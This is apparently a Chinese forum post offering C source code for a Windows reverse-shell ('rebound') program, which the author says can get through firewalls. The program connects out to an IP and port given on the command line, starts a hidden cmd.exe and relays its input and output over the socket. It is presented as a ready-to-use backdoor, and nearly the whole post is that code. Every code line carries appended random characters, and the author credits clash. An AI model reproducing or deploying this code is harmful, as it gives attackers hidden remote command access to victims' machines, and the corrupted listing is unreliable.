这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 4mNL;O
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/* ============================== Tud[VS?99
Rebound port in Windows NT &:akom8
By wind,2006/7 0eq>
===============================*/ 9S=9m[#y'
#include hS*3yCE"8
#include zoC/Hm
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#pragma comment(lib,"wsock32.lib") Ulj2Py}
/
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void OutputShell(); EZ1H0fm
SOCKET sClient; 5SR29Z[
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ;]Y.2 J
ZS >}NN
void main(int argc,char **argv) m[ay
{ K`(STvtM
WSADATA stWsaData; d!G%n
*
int nRet; {n$9o
SOCKADDR_IN stSaiClient,stSaiServer; eW\7X%I
ll[U-v{
if(argc != 3) KDRIy@[e
{ VH#]67
printf("Useage:\n\rRebound DestIP DestPort\n"); rm2{PV<+d
return; OPwp(b
} z}8rD}BH
tz1iabZ{
WSAStartup(MAKEWORD(2,2),&stWsaData); .Ks&r
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); qa`bR%eH
NZ7a^xT_)
stSaiClient.sin_family = AF_INET; ofcoNLX5c
stSaiClient.sin_port = htons(0); )3h=V^rm
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Q&`$:h.~
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) "F"G(ba^
{ [K&O]s<Y
printf("Bind Socket Failed!\n"); [g&Q_+,j
return; 8*>6+"w
} [7|}h/
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stSaiServer.sin_family = AF_INET; qO&:J\d
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); e3)rF5pp
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); C*kZ>mbc
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) VIAj]Ul
{ (zk'i13#6
printf("Connect Error!"); Sh2q#7hf
return; >,uof ?
} Xw9,O8}C7
OutputShell(); e)!X9><J
} A){kitx-i)
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void OutputShell() /A|ofAr)
{ "^22Y}VB
char szBuff[1024]; ;\4}Hcg
SECURITY_ATTRIBUTES stSecurityAttributes; 5 xTm]
OSVERSIONINFO stOsversionInfo; u"X8(\pOn
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; c)iQ3_&=
STARTUPINFO stStartupInfo; >hB]T%'
char *szShell; sGMC$%e}
PROCESS_INFORMATION stProcessInformation; [gIStKe
unsigned long lBytesRead; |I)xK@7
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); pOIFO=k
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); `!!A;G7Qg
stSecurityAttributes.lpSecurityDescriptor = 0; dL6sb;7R
stSecurityAttributes.bInheritHandle = TRUE; d/P$q MD
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); s:I^AL5
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); -uy}]s5Qu
=*8"ci$
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); !Q cgTW)T
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; lSXhHy
stStartupInfo.wShowWindow = SW_HIDE; >=C)\Yfu)
stStartupInfo.hStdInput = hReadPipe; XRP/E_4
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; xhg{!w
d@,q6R}!MP
GetVersionEx(&stOsversionInfo); JXUO?9
hl6al:Y
switch(stOsversionInfo.dwPlatformId) 2=F_<Jh|+
{ I?bL4u$\
case 1: %b@>riR(y
szShell = "command.com"; e!eWwC9u
break; rLh490@
default: cX*
szShell = "cmd.exe"; "pMXTRb
break; LP=!u~?
} =E4nNL?
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); OK3B6T5w=
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send(sClient,szMsg,77,0); IK~ur\3
while(1) C[gSiL
{ n$#^gzU4
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); % fA0XRM
if(lBytesRead) h>bmHQ
{ 5'+g'9
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ^6J*yV%
send(sClient,szBuff,lBytesRead,0); =jg!@H=_i
} Y*wbFL6`
else 9Ki86
{ .}Bb
:*@
lBytesRead=recv(sClient,szBuff,1024,0); Srol0D I
if(lBytesRead<=0) break; mz9Kwxe
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 6u8`,&U
} ~aA+L-s|
} aW w`v[v
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return; ,,fLK1
}